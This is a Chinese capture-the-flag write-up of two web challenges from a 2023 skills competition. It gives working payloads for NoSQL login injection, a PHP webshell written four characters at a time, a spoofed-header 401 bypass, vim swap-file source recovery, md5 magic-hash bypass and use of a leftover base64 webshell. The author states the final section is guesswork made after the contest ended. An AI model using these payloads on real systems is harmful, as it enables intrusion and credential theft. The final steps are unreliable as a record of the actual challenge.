# 人力资源管理系统
后续我也会分享其他资源到我的博客感兴趣的可以关注
2.1 复盘解析访问靶机IP
![请添加图片描述](http://zhangshiyu.com/zb_users/upload/2024/04/20240401164553171196115353897.png)
在robots.txt里面能看到一个nosql.php,然后这里就会给出第一个flag
![请添加图片描述](http://zhangshiyu.com/zb_users/upload/2024/04/20240401164553171196115396368.png)
来到nosql.php之后会发现是登入页面
![请添加图片描述](http://zhangshiyu.com/zb_users/upload/2024/04/20240401164553171196115366441.png)
尝试弱口令(这里可以尝试 hydra+burp进行爆破) 这里随便输入一个账号密码显示登录失败
![请添加图片描述](http://zhangshiyu.com/zb_users/upload/2024/04/20240401164553171196115359972.png)
MongoDB 与 RDBMS Where 语句的比较
操作 | 格式 | 范例 | RDBMS 中的类似语句 |
---|---|---|---|
等于 | {:} | db.love.find({“name”:“whoami”}).pretty() | where name = ‘whoami’ |
小于 | {:{$lt:}} | db.love.find({“age”:{$lt:19}}).pretty() | where age < 19 |
小于或等于 | {:{$lte:}} | db.love.find({“age”:{$lte:19}}).pretty() | where likes <= 19 |
大于 | {:{$gt:}} | db.love.find({“age”:{$gt:19}}).pretty() | where likes > 19 |
大于或等于 | {:{$gte:}} | db.love.find({“age”:{$gte:19}}).pretty() | where likes >= 19 |
不等于 | {:{$ne:}} | db.love.find({“age”:{$ne:19}}).pretty() | where likes != 19 |
这里选了$get(大于)某个数的值会被列出
nosql.php?username[$gt]=&password[$gt]=
可以看到这里列出了所有的用户名密码,在这里就会得到此题的第二个flag
查看源代码可以发现页面给了两个参数提示一个o一个hint
<?php $o = intval($_GET['o']); $hint = $_POST['hint']; ?>
尝试传入o跟hint,可以发现我们传入的被写入跟执行了
那么这里写个shell进去,每写4个字符o都+4
o=1hint=<?= o=5hint=systo=9hint=em($o=13hint=_GETo=17hint=[1])o=21hint=;//
在这就写入了一个shell
执行一下ls命令,然后cat 一下/flag即可得到第三个flag
#邮件管理系统
直接访问页面会跳401未授权,这里我试了XFF头啥的绕过无果
查看一下robots.txt发现提示了 weblogs_manage.php
访问了一样跳401未授权,这里我就用了dirbuster的大目录字典扫出来一个emails
访问发现可以目录遍历
查看f1发现说因为编辑器备份文件泄露导致了安全漏洞
这里就想到了vim编辑器那个,这里下载 .weblogs_manage.php.swp文件
wget 192.168.31.148/.weblogs_manage.php.swp
新建一个weblogs_manage.php在vim编辑按R恢复
touch weblogs_manage.phpvim weblogs_manage.phpR
即可成功恢复源码
这里主要代码是
<?phperror_reporting(0);if(@$_SERVER['HTTP_INTERNAL_AUTH']!=="10.10.10.1"){ header("Location: template/401.html"); exit();}$key1=$_REQUEST['key1'];if(!empty($key1)){ require_once 'next.php'; if(md5($key1)=="0e230420452993424058024229903331"){ $key2=$_REQUEST['key2']; if(!empty($key2)){ for($i=0;$i<strlen($key2);$i++){ $o=ord($key2[$i])^ord('o'); if($o=="95" || $o=="32"){ if(md5($key2)=="5bacf485801484d2ea1d0237782e6629"){ $key3=$_REQUEST['key3']; if(!empty($key3)){ if($key3>$SECRET || strlen($key3)>=strlen($SECRET)){ if($key3==$SECRET){ die($next); // log } }else{ die("CODE: 3 Error!"); } } } }else{ die("CODE: 2 Error!"); } } } }else{ die("CODE: 1 Error!"); }}?>
首先需要绕过这个401
if(@$_SERVER['HTTP_INTERNAL_AUTH']!=="10.10.10.1"){ header("Location: template/401.html"); exit();}
只需要在请求的时候带上,这个一开始是看其他请求头的格式首字母大写然后_改-尝试出来的,这样即可绕过401
Internal-Auth: 10.10.10.1
接下来需要传入 k e y 1 − 3 来绕过限制,这里来到第一个 key1-3来绕过限制,这里来到第一个 key1−3来绕过限制,这里来到第一个key的限制,很明显是要一个md5加密后为0e的数字才能绕过
if(md5($key1)=="0e230420452993424058024229903331"
拿php去跑一下试试看,跑出来一个0e215962017
<?phpfor($i=0;$i<9999999999999;$i++){ $r="0e".$i; if(md5($r)=="0e230420452993424058024229903331"){ die($r); }}
成功过了第一个$key的限制
第二个$key的限制比较麻烦,需要每一位^ord(‘o’)后等于95或者32
先遍历了所有字符看什么字符^后等于95 32 得到0O
那么就是由0O组成的字符串md5加密后要等于5bacf485801484d2ea1d0237782e6629
这里我的思路就是去生成字典,然后我就去翻kali的字典生成工具,因为以前用过然后就找到了crunch
生成一个1-16位0O组成的字典
crunch 1 16 0O > dict
接下来就是有点难度的 k e y 3 , 他这里的条件是需要我们传入的 key3,他这里的条件是需要我们传入的 key3,他这里的条件是需要我们传入的key3等于他的 S E C R E T 这里的 SECRET这里的 SECRET这里的SECRET来自于上面的require_once ‘next.php’
if($key3>$SECRET || strlen($key3)>=strlen($SECRET)){if($key3==$SECRET){ die($next); // log}
这里其实可以忽略第二个条件也就是strlen的长度比较只需要看 k e y 3 > key3> key3>SECRET这个条件,因为php里面两个字符串比较是一位一位比较的具体解释我这里用chatgpt的回答
当比较php中两个字符串变量key3和key3和SECRET的大小时,可以使用大于号(>)进行比较操作。具体流程如下:1.获取变量key3和key3和SECRET的字符串值。2.将这两个字符串按字典顺序逐个字符进行比较,直到找到第一个不同的字符为止。3.如果key3中的当前字符的keyASCII码大于key3中的当前字符的ASCII码大于SECRET中对应位置上的字符的ASCII码,则key3大于key3大于SECRET。4.如果key3中的当前字符的keyASCII码小于key3中的当前字符的ASCII码小于SECRET中对应位置上的字符的ASCII码,则key3小于key3小于SECRET。5.如果key3和key3和SECRET中的字符完全相同,则比较下一个字符。6.如果其中一个字符串比另一个字符串短,则较短的字符串被认为是较小的。7.如果两个字符串完全相同,则认为它们是相等的。8.比较过程结束后,根据比较结果返回布尔值(true或false),表示key3是否大于key3是否大于SECRET。
也可以通过一位一位的比较来获取正确的SECRET,比如这里我们输入1提示CODE3错误
输入2也错误输入3页面正常,那么得到第一位是2
接下来可以用burp的Intruder模块来一位一位爆破出来,像这里爆破第一位字母有3个字母页面都为ture返回正常这里查一下ascii可以发现x是最小的x的前一位是w那么第五位就是w
最终算出key3等于2023welc0me,传进去后得到一个txt地址/security_log_/log.txt
访问日志是一大堆乱糟糟的日志
注意!!我做到这里比赛结束了后面的内容是我自己想的,可能跟真实比赛有出入仅供参考
把日志下载到本地然后grep正则提取出访问的文件内容
grep -oP '(?<=POST|GET)\s\S+(?= HTTP)' log.txt
然后burp批量访问一下通过aEahcEeh.php?oTGGW=zsqBtOR得到了flag-1
然后paObZJkw.php?SjSMeB=wUWp发现是404但是是页面返回的是"There is nothing here."猜测是被入侵后留下的shell
这里最后通过测试发现传入base64的值即可执行代码
paObZJkw.php?SjSMeB=cGhwaW5mbygpOw==
然后cat /flag 结束
文章参考于https://blog.mo60.cn/index.php/archives/2023-China-Skills-Security-web1.html(这里有环境搭建教程)